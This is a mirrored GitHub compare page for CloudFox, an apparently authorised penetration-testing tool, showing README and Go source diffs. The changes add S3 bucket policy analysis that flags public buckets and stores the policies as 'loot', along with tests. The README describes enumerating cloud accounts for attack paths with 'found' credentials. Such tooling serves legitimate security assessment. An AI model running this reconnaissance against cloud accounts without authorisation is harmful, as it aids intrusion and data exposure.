mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 17:05:53 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8ef71a6388 | ||
|
|
365286665c | ||
|
|
537d064c6b | ||
|
|
51f0b65087 | ||
|
|
02db8a4fe8 | ||
|
|
dc7c8c6f68 | ||
|
|
8550561cd7 | ||
|
|
b3620ca281 | ||
|
|
e6b5604a08 | ||
|
|
47c11840d3 | ||
|
|
77c7edfc82 | ||
|
|
cecebb82cb | ||
|
|
07c4ddc755 | ||
|
|
05481ae748 | ||
|
|
49eada30b6 | ||
|
|
bb1313c5c8 | ||
|
|
fc736f4946 | ||
|
|
d02b5e8f0e | ||
|
|
41be2192d3 | ||
|
|
96587ff450 | ||
|
|
2e65bb319e | ||
|
|
fc3379e7ac | ||
|
|
2b686e9a3b | ||
|
|
7300fc9eb3 | ||
|
|
303341c634 | ||
|
|
31027ba4cb | ||
|
|
40933e2f81 | ||
|
|
a8b73ef60d | ||
|
|
b9f9a4fdab | ||
|
|
3238ac866a | ||
|
|
2563ebbb72 | ||
|
|
512602079b | ||
|
|
152f7eaa8d | ||
|
|
6aae684307 | ||
|
|
dbc9b1c2d3 | ||
|
|
7c55958f54 | ||
|
|
ac21f3a8f0 | ||
|
|
f207a7c095 | ||
|
|
cd66bbf52a | ||
|
|
dc7560c648 | ||
|
|
466c8fca53 | ||
|
|
2e8a454d04 | ||
|
|
99b798b556 | ||
|
|
78ff6651be | ||
|
|
f1670f67da | ||
|
|
ba57a02a20 | ||
|
|
6599ad2e83 | ||
|
|
925014f001 | ||
|
|
7058d458e0 | ||
|
|
8b5f79dc82 | ||
|
|
bb1f3388f3 | ||
|
|
4081025480 | ||
|
|
b64526f04f | ||
|
|
78cdf2ef91 | ||
|
|
3d054eadee | ||
|
|
767d2e6bca | ||
|
|
7ec51b1b96 | ||
|
|
10742b2f8b | ||
|
|
abeaa25922 | ||
|
|
91aa229679 | ||
|
|
c265e5cb86 | ||
|
|
f514b80f38 | ||
|
|
a0c8e4b2c4 | ||
|
|
1c64fa50b9 | ||
|
|
1ffd763a85 | ||
|
|
5e87e968fd | ||
|
|
12e9d5a3b1 | ||
|
|
45cd84bcaa | ||
|
|
acabb09592 | ||
|
|
b8515157f9 | ||
|
|
57aa072dda | ||
|
|
dd688afd3e | ||
|
|
2b04fbb39a | ||
|
|
6e9aa37d4a | ||
|
|
0ceaa0a767 | ||
|
|
01267d55e9 | ||
|
|
a09b549417 | ||
|
|
ca66af7e61 |
No files matched your search
@@ -14,7 +14,7 @@ CloudFox helps you gain situational awareness in unfamiliar cloud environments.
|
||||
|
||||
## Demos, Examples, Walkthroughs
|
||||
* [Blog - Introducing: CloudFox](https://bishopfox.com/blog/introducing-cloudfox)
|
||||
* [Video - CloudFox Intro Demo's](https://www.youtube.com/watch?v=ReWoUgpUuiQ)
|
||||
* [Video - CloudFox Intro Demos](https://www.youtube.com/watch?v=ReWoUgpUuiQ)
|
||||
* [Video - Tool Talk: CloudFox AWS sub-command walkthroughs](https://youtu.be/KKsYfL5uVU4?t=360)
|
||||
|
||||
## Quick Start
|
||||
@@ -29,8 +29,9 @@ CloudFox is modular (you can run one command at a time), but there is an `aws al
|
||||
CloudFox was designed to be executed by a principal with limited read-only permissions, but it's purpose is to help you find attack paths that can be exploited in simulated compromise scenarios (aka, objective based penetration testing).
|
||||
|
||||
### Black Box Enumeration
|
||||
CloudFox can be with "found" credentials, similar to how you would use [weirdAAL](https://github.com/carnal0wnage/weirdAAL) or [enumerate-iam](https://github.com/andresriancho/enumerate-iam). Checks that fail, do so silently, so any data returned means your "found" creds have the access needed to retrieve it.
|
||||
CloudFox can be used with "found" credentials, similar to how you would use [weirdAAL](https://github.com/carnal0wnage/weirdAAL) or [enumerate-iam](https://github.com/andresriancho/enumerate-iam). Checks that fail, do so silently, so any data returned means your "found" creds have the access needed to retrieve it.
|
||||
|
||||
### Documentation
|
||||
For the full documentation please refer to our [wiki](https://github.com/BishopFox/CloudFox/wiki).
|
||||
|
||||
|
||||
@@ -38,7 +39,7 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
|
||||
| Provider| CloudFox Commands |
|
||||
| - | - |
|
||||
| AWS | 23 |
|
||||
| AWS | 26 |
|
||||
| Azure | 4 |
|
||||
| GCP | Support Planned |
|
||||
| Kubernetes | Support Planned |
|
||||
@@ -80,7 +81,7 @@ Additional policy notes (as of 09/2022):
|
||||
### Azure
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
# Supported Commands
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| AWS | [all-checks](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#all-checks) | Run all of the other commands using reasonable defaults. You'll still want to check out the non-default options of each command, but this is a great place to start. |
|
||||
@@ -98,7 +99,8 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [instances](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#instances) | Enumerates useful information for EC2 Instances in all regions like name, public/private IPs, and instance profiles. Generates loot files you can feed to nmap and other tools for service enumeration. |
|
||||
| AWS | [inventory](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#inventory) | Gain a rough understanding of size of the account and preferred regions. |
|
||||
| AWS | [lambda](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#lambda) | Lists the lambda functions in the account, including which one's have admin roles attached. Also gives you handy commands for downloading each function. |
|
||||
| AWS | [outbound-assumed-roles](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
|
||||
| AWS | [network-ports](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#network-ports) | Enumerates AWS services that are potentially exposing a network service. The security groups and the network ACLs are parsed for each resource to determine what ports are potentially exposed. |
|
||||
| AWS | [outbound-assumed-roles](#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
|
||||
| AWS | [permissions](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#permissions) | Enumerates IAM permissions associated with all users and roles. Grep this output to figure out what permissions a particular principal has rather than logging into the AWS console and painstakingly expanding each policy attached to the principal you are investigating. |
|
||||
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
|
||||
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
|
||||
@@ -107,9 +109,18 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
|
||||
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
|
||||
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
|
||||
| AWS | [sns](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sns) | This command enumerates all of the sns topics and gives you the commands to subscribe to a topic or send messages to a topic (if you have the permissions needed). This command only deals with topics, and not the SMS functionality. This command also attempts to summarize topic resource policies if they exist.|
|
||||
| AWS | [sqs](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sqs) | This command enumerates all of the sqs queues and gives you the commands to receive messages from a queue and send messages to a queue (if you have the permissions needed). This command also attempts to summarize queue resource policies if they exist.|
|
||||
| AWS | [tags](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#tags) | List all resources with tags, and all of the tags. This can be used similar to inventory as another method to identify what types of resources exist in an account. |
|
||||
| Azure | [instances-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances-map) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
|
||||
| Azure | [rbac-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac-map) | Enumerates Role Assignments for all tenants |
|
||||
|
||||
|
||||
# Azure Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | [whoami](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#whoami) | Displays information on the tenant, subscriptions and resource groups available to your current Azure CLI session. This is useful to provide situation awareness on what tenant and subscription IDs to use with the other sub commands. |
|
||||
| Azure | [instances](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
|
||||
| Azure | [rbac](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac) | Lists Azure RBAC role assignments at subscription or tenant level |
|
||||
| Azure | [storage](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#storage) | The storage command is still under development. Currently it only displays limited data about the storage accounts |
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
@@ -118,8 +129,6 @@ Additional policy notes (as of 09/2022):
|
||||
# Contributing
|
||||
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
|
||||
|
||||
# TODO
|
||||
* AWS - Add support for GovCloud and China regions
|
||||
|
||||
# FAQ
|
||||
|
||||
|
||||
+186
-20
@@ -11,6 +11,7 @@ import (
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
@@ -18,15 +19,22 @@ import (
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type S3ListBucketsAPI interface {
|
||||
type AWSS3Client interface {
|
||||
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
|
||||
GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error)
|
||||
GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error)
|
||||
GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error)
|
||||
}
|
||||
|
||||
type BucketsModule struct {
|
||||
// General configuration data
|
||||
S3Client *s3.Client
|
||||
S3Client AWSS3Client
|
||||
|
||||
// This interface is used for unit testing
|
||||
S3ClientListBucketsInterface S3ListBucketsAPI
|
||||
// S3ClientListBucketsInterface AWSS3Client
|
||||
// S3ClientGetBucketPolicyInterface AWSS3Client
|
||||
// S3ClientGetBucketLocationInterface AWSS3Client
|
||||
// S3ClientGetPublicAccessBlockInterface AWSS3Client
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -44,9 +52,19 @@ type BucketsModule struct {
|
||||
}
|
||||
|
||||
type Bucket struct {
|
||||
AWSService string
|
||||
Region string
|
||||
Name string
|
||||
Arn string
|
||||
AWSService string
|
||||
Region string
|
||||
Name string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string, verbosity int) {
|
||||
@@ -57,6 +75,7 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
@@ -94,27 +113,32 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{"Service", "Region", "Name"}
|
||||
m.output.Headers = []string{
|
||||
"Name",
|
||||
"Region",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
// Table rows
|
||||
for i := range m.Buckets {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Buckets[i].AWSService,
|
||||
m.Buckets[i].Region,
|
||||
m.Buckets[i].Name,
|
||||
m.Buckets[i].Region,
|
||||
m.Buckets[i].IsPublic,
|
||||
m.Buckets[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
////m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s buckets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Bucket policies written to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No buckets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
@@ -199,7 +223,7 @@ func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, sem
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
var r string = "Global"
|
||||
var region string = "Global"
|
||||
var name string
|
||||
ListBuckets, err := m.listBuckets()
|
||||
if err != nil {
|
||||
@@ -207,14 +231,41 @@ func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, sem
|
||||
return
|
||||
}
|
||||
|
||||
for _, bucket := range ListBuckets {
|
||||
name = aws.ToString(bucket.Name)
|
||||
// Send Bucket object through the channel to the receiver
|
||||
dataReceiver <- Bucket{
|
||||
for _, b := range ListBuckets {
|
||||
bucket := &Bucket{
|
||||
Name: aws.ToString(b.Name),
|
||||
AWSService: "S3",
|
||||
Name: name,
|
||||
Region: r,
|
||||
}
|
||||
region, err = m.getBucketRegion(aws.ToString(b.Name))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
bucket.Region = region
|
||||
|
||||
policyJSON, err := m.getBucketPolicy(aws.ToString(b.Name))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
} else {
|
||||
bucket.PolicyJSON = policyJSON
|
||||
}
|
||||
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
|
||||
} else {
|
||||
bucket.Policy = policy
|
||||
}
|
||||
|
||||
bucket.IsPublic = "No"
|
||||
if !bucket.Policy.IsEmpty() {
|
||||
m.analyseBucketPolicy(bucket, dataReceiver)
|
||||
} else {
|
||||
bucket.Access = "No resource policy"
|
||||
dataReceiver <- *bucket
|
||||
}
|
||||
|
||||
// Send Bucket object through the channel to the receiver
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -222,7 +273,7 @@ func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, sem
|
||||
func (m *BucketsModule) listBuckets() ([]types.Bucket, error) {
|
||||
|
||||
var buckets []types.Bucket
|
||||
ListBuckets, err := m.S3ClientListBucketsInterface.ListBuckets(
|
||||
ListBuckets, err := m.S3Client.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
)
|
||||
@@ -235,3 +286,118 @@ func (m *BucketsModule) listBuckets() ([]types.Bucket, error) {
|
||||
return buckets, nil
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) getBucketRegion(bucketName string) (string, error) {
|
||||
GetBucketRegion, err := m.S3Client.GetBucketLocation(
|
||||
context.TODO(),
|
||||
&s3.GetBucketLocationInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return "", err
|
||||
}
|
||||
location := string(GetBucketRegion.LocationConstraint)
|
||||
if location == "" {
|
||||
location = "us-east-1"
|
||||
}
|
||||
return location, err
|
||||
}
|
||||
|
||||
func (m *BucketsModule) getBucketPolicy(bucketName string) (string, error) {
|
||||
|
||||
r, err := m.getBucketRegion(bucketName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return "", err
|
||||
}
|
||||
BucketPolicyObject, err := m.S3Client.GetBucketPolicy(
|
||||
context.TODO(),
|
||||
&s3.GetBucketPolicyInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
func(o *s3.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return "", err
|
||||
}
|
||||
|
||||
return *BucketPolicyObject.Policy, nil
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) getPublicAccessBlock(bucketName string) (*types.PublicAccessBlockConfiguration, error) {
|
||||
r, err := m.getBucketRegion(bucketName)
|
||||
PublicAccessBlock, err := m.S3Client.GetPublicAccessBlock(
|
||||
context.TODO(),
|
||||
&s3.GetPublicAccessBlockInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
func(o *s3.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return nil, err
|
||||
}
|
||||
return PublicAccessBlock.PublicAccessBlockConfiguration, err
|
||||
}
|
||||
|
||||
func (m *BucketsModule) isPublicAccessBlocked(bucketName string) bool {
|
||||
publicAccessBlock, err := m.getPublicAccessBlock(bucketName)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return publicAccessBlock.IgnorePublicAcls
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) analyseBucketPolicy(bucket *Bucket, dataReceiver chan Bucket) {
|
||||
m.storeAccessPolicy(bucket)
|
||||
|
||||
if bucket.Policy.IsPublic() && !bucket.Policy.IsConditionallyPublic() && !m.isPublicAccessBlocked(bucket.Name) {
|
||||
bucket.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range bucket.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(bucket.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
bucket.ResourcePolicySummary = bucket.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
bucket.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
bucket.ResourcePolicySummary = strings.TrimSuffix(bucket.ResourcePolicySummary, "\n")
|
||||
|
||||
}
|
||||
dataReceiver <- *bucket
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) storeAccessPolicy(bucket *Bucket) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", bucket.Name))
|
||||
|
||||
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketsModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "bucket-policies")
|
||||
}
|
||||
|
||||
func (m *BucketsModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+74
-9
@@ -3,6 +3,8 @@ package aws
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -11,13 +13,14 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
type MockedS3ListBuckets struct {
|
||||
type MockedS3Buckets struct {
|
||||
AWSRegions []string
|
||||
}
|
||||
|
||||
func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
|
||||
func (m *MockedS3Buckets) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
|
||||
buckets := make([]types.Bucket, 1)
|
||||
mockBucket := types.Bucket{
|
||||
CreationDate: aws.Time(time.Now()),
|
||||
@@ -31,6 +34,45 @@ func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBu
|
||||
|
||||
}
|
||||
|
||||
func (m *MockedS3Buckets) GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error) {
|
||||
bucketPolicy := `{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AddPerm",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "s3:GetObject",
|
||||
"Resource": "arn:aws:s3:::examplebucket/*"
|
||||
}
|
||||
]
|
||||
}`
|
||||
output := &s3.GetBucketPolicyOutput{
|
||||
Policy: aws.String(bucketPolicy),
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func (m *MockedS3Buckets) GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error) {
|
||||
locationConstraint := types.BucketLocationConstraint("us-east-2")
|
||||
output := &s3.GetBucketLocationOutput{
|
||||
LocationConstraint: locationConstraint,
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func (m *MockedS3Buckets) GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error) {
|
||||
output := &s3.GetPublicAccessBlockOutput{
|
||||
PublicAccessBlockConfiguration: &types.PublicAccessBlockConfiguration{
|
||||
BlockPublicAcls: true,
|
||||
BlockPublicPolicy: true,
|
||||
IgnorePublicAcls: false,
|
||||
RestrictPublicBuckets: true,
|
||||
},
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func TestListBuckets(t *testing.T) {
|
||||
subtests := []struct {
|
||||
name string
|
||||
@@ -44,12 +86,15 @@ func TestListBuckets(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: BucketsModule{
|
||||
S3ClientListBucketsInterface: &MockedS3ListBuckets{},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
S3Client: &MockedS3Buckets{},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "unittesting",
|
||||
Goroutines: 30,
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
},
|
||||
expectedResult: []Bucket{{
|
||||
Name: "mockBucket123",
|
||||
@@ -57,11 +102,31 @@ func TestListBuckets(t *testing.T) {
|
||||
},
|
||||
}
|
||||
|
||||
internal.MockFileSystem(true)
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
for _, subtest := range subtests {
|
||||
t.Run(subtest.name, func(t *testing.T) {
|
||||
subtest.testModule.PrintBuckets(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
|
||||
for index, expectedBucket := range subtest.expectedResult {
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/unittesting/table/buckets.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭───────────────┬───────────┬─────────┬───────────────────────────╮
|
||||
│ Name │ Region │ Public? │ Resource Policy Summary │
|
||||
├───────────────┼───────────┼─────────┼───────────────────────────┤
|
||||
│ mockBucket123 │ us-east-2 │ YES │ Everyone can s3:GetObject │
|
||||
╰───────────────┴───────────┴─────────┴───────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
|
||||
if expectedBucket.Name != subtest.testModule.Buckets[index].Name {
|
||||
log.Fatal("Bucket name does not match expected name")
|
||||
}
|
||||
|
||||
@@ -150,7 +150,7 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, ou
|
||||
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -141,7 +141,7 @@ func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecr", r)
|
||||
if err != nil {
|
||||
|
||||
+66
-32
@@ -75,15 +75,15 @@ func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, v
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating ECS tasks in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
@@ -142,34 +142,68 @@ func (m *ECSTasksModule) Receiver(receiver chan MappedECSTask, receiverDone chan
|
||||
}
|
||||
|
||||
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask) {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
